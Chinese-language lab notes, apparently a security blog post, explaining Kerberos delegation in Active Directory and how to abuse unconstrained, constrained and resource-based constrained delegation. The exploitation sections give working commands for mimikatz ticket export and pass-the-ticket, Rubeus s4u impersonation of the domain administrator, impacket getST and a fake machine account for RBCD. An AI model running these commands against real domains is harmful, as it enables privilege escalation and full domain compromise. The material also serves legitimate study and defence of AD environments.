Kerberos委派攻击

域委派

就是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动。

在域中一般只有主机账号和服务账号才具有委派属性

• 主机账号：主机账号就是AD(活动目录)中Computers中的计算机账号
• 服务账号：一般都是起啥服务所用到的账号，啥apache iis sqlserver 很常见，也可以将域用户通过注册SPN成为服务账号

域委派一般分为：非约束委派(Unconstrained delegation) 和 约束委派(Constrained delegation)

非约束委派(Unconstrained delegation)

一个用户可以访问SPN指定的Server A、Server B服务，用户请求Server A成功后，A会在验证ST(Server Ticket)的时候获取TGT，并存在内存中。假如我们获得了Server A的权限，我们就可以模拟用户身份去请求Server B了。

整体的流程也就是：
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN

一共16步

1. 用户通过发送KRB_AS_REQ消息向KDC进行身份验证，并请求可转发的TGT
2. KDC返回一个可转发的TGT
3. 用户根据上一个步骤得到的TGT，请求转发TGT；KRB_TGS_REQ
4. KDC为用户返回一个转发的TGT
5. 用户使用步骤2得到的TGT向Server 1请求ST；KRB_TGS_REQ
6. TGS返回一个ST
7. 用户通过KRB_AP_REQ向Server 1发送请求，提供：ST，TGT，Session Key
8. Server 1使用用户转发的TGT并将其中KRB_TGS_REQ中发送到KDC，以用户的名义请求到Server 2的ticket
9. KDC返回Server 2的Ticket，以及Server 1可使用的Session Key返回给Server 1，ticket将客户端标识的是用户，而不是Server 1；KRB_TGS_REP
10. Server 1作为用户向Server 2发送请求；KBR_AP_REQ
11. server 2响应
12. 通过响应，服务1可以响应步骤7的用户请求
13. 转发委托机制不限制server 1对转发的TGT使用！可以以用户的名义向KDC索取任何其他服务的ticket！
14. KDC返回请求的Ticket
15. Server 1可以继续使用服务 N 冒充用户
16. Server N响应

后面其实就无所谓了

约束委派(Constrained delegation)

微软意识到非约束委派不安全后，就产生了约束委派，增加了一组一些拓展：S4U2SLEF和S4U2PROXY。配置它后，约束委派将限制指定服务器可以代表用户执行的服务。需要SeEnableDelegation，一般在域管身上

S4U2self：使得Server可以代表用户获得针对服务自身的ST。这使得服务可以获得用户的授权(可转发的用户ST票据)，然后将其用于后期的认证(主要是后期的s4u2proxy)，这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用(在其 userAccountControl设置了TRUSTED_TO_AUTH_FOR_DELEGATION字段时)

s4u2proxy： 使得Server 1可以使用来自用户的授权( 在S4U2SELF阶段获得)，然后用该获得的ST(放在AddtionTicket里面)向KDC请求访问Server 2的ST，并且代表用户访问Server 2，而且只能访问Server 2(所以相较于非约束委派，约束委派最大的区别也就是配置的时候选择某个特定的服务，而不是所有服务。)

简单总结：S4U2self：检查合法性；S4U2Proxy：不允许请求其他Server

但是好像有很多被误解的特性.. 可以查看
https://www.cnblogs.com/backlion/p/10537813.html

整体流程也就是：

1. 用户向Server 1发出请求，用户已通过身份验证，但服务没有用户的授权数据。(通过Kerberos以外的认证)
2. Server 1已经得到了用户访问服务1的TGT，接下来通过S4U2self扩展模拟用户向KDC请求ST
3. KDC 返回一个用于验证Server 1的ST，就好像它是用用户自己的TGT向用户请求的一样。
4. Server 1使用上一步的ST响应用户请求
5. 用户再次向Server 1发起请求，委派Server 1访问Server 2，条件是Server 1验证通过且有有效的TGT，以及Server 1有用户到Server 1的可转发ST(ST1)
6. Server 1代表用户通过S4U2Proxy拓展请求KDC返回一个用于验证Server 2的ST(ST2)
7. KDC验证PAC的签名数据，如果成功返回ST2
8. Server 1使用ST2请求Server 2；Server 2判断此用户是否经过KDC验证，依据为ST2中的cname和crealm标识
9. Server 2响应Server 1的请求
10. Server1响应消息5的请求

我对约束委派的理解是：假冒其他用户准确的访问那个服务（也就是委派那里配置的），设置委派的那个账户 可对受害服务访问（假冒了administrator），生成st，最后导入st获得访问对应服务的权限。将主要是SPN 设置为 msds-allowedtodelegateto 的机器或用户帐户可以假冒成任何他们希望成为的目标服务 SPN 。因此，如果你能够拿到其中一个帐户的权限，就可以欺骗对目标 SPN 的特权访问。

基于资源的约束委派

RBCD
这种约束委派的风格与传统约束委派非常相似，但配置相反。从帐户A到帐户B的传统约束委派在msDS-AllowedToDelegateTo属性中的帐户A上配置，并定义从A到B的“传出”信任；但基于资源的约束委派是在B中配置添加A；不需要SeEnableDelegation 特权(一般只有域管有)

配置环境

1. 创建SPN
   Setspn -s http/IIS-2008.muxue.com muxue\iis
Setspn -s http/IIS-2008.muxue.com IIS-2008$

2. 信任此用户作为任何服务的委派
   

发现域中委派的用户和计算机

原理

1. 当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
2. 当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

非约束性委派

约束性委派

查找

非约束委派

一般用ADFind和powerview
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
https://www.joeware.net/freetools/tools/adfind/

AdFind

探测用户
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

探测主机
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

探测用户
Get-NetUser -Unconstrained -Domain qiyou.com |select name

探测主机
Get-NetComputer -Unconstrained -Domain muxue.com

约束委派

AdFind

探测用户
AdFind.exe -b "DC=muxue,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView

寻找配置了约束委派的用户

Import-Module .\powerview.ps1;
Get-DomainUser -TrustedToAuth -Domain muxue.com | select name

利用

非约束委派的利用

DC：Windows Server 2012
Domain Computer：Windows Server 2009
域管：administrator
域用户：muxue

1. 寻找非约束委派的机子

没有权限

2. 查看tgt

请求的目标需要开启服务 我这里测试的是 要不然会

获取域管TGT
Enter-PSSession -ComputerName IIS-2008

查看TGT

导出TGT
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"

导入票据

新开个cmd导入票据；也可以利用打印机服务(SpoolSample,Rubeus)攻击

约束委派的利用

先修改成约束委派

1. 寻找约束委派的用户

2. 请求tgt

rubeus.exe tgtdeleg

3. 模拟ST

Rubeus.exe s4u /ticket:code /impersonateuser:administrator /domain:muxue.com /msdsspn:cifs/iis-2008.muxue.com /dc:dc.muxue.com /ptt

上面那款工具可以，接着用的是kekeo，还有impacket的getST

tgt::ask /user:iis /domain:muxue.com /password:xxxx

tgs::s4u /tgt:上面生成的那个票据的名字 /user:[e-mail] /service:cifs/dc.muxue.com

// 然后使用mimikatz进行ptt
mimikatz "kerberos::purge" "kerberos::ptt 有个带cifs的那个tgs(st2)" "exit"

但是我不晓得多少分钟后就失效了，听安牛说是10-15分钟,但是我在下面用getst的时候 半小时的票据还可以用..; 很迷这个问题 我也不知道为啥

还有impacket的
先申请ST
python3 getST.py -spn cifs/dc.muxue.com/ 'muxue/iis:Web123456!' -impersonate Administrator -dc-ip 10.10.0.100

然后需要转换st
https://github.com/Zer1t0/ticket_converter

直接mimikatz

基于资源的约束委派

只要有写入ace权限就可以，为啥很多人拿加域账号打 就是因为有写入权限
所以我们可以设置msDS-AllowedToActOnBehalfOfOtherIdentity来打基于资源的约束委派等**

有*GenericAll/GenericWrite/WriteDacl/WriteProperty/ 一种权限就可以实现约束委派，由于都是设置属性值，这里我就直接用加域用户(有写入权限)来测试了

addUser qwer123!

查看谁对他有写入权限

Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}

当然也可以寻找加域账号

尝试和win7建立ipc链接，可以建立 但没有权限

我们需要添加一个机器用户，因为需要用机器用户去申请票据，本身的win7机器账户我们不知道他的密码所以无法申请票据，所以我们需要添加一个机器用户，用来帮助我们申请票据

检查 msds-allowedtoactonbehalfofotheridentity的值

Get-NetComputer win7 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

然后增加机器用户

成功使用addUser用户创建evilpc

因为是addUser用户把win7加入到域中，所以拥有写权限 创造了一个属性是msDS-AllowedToActOnBehalfOfOtherIdentity值为evilpc的object-id

然后我们就可以去生成票据了，正好今天rebeus 2.0出来了，刚编译好 就用它来生成票据了

Rubeus.exe hash /user:evilpc /password:123456 /domain:muxue.com		// 获取hash
Rubeus.exe s4u /user:evilpc /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/win7.muxue.com /ptt		// 申请票据并导入

当然也可以用impacket的getST来获取票据，然后利用mimikatz来Pass The Ticket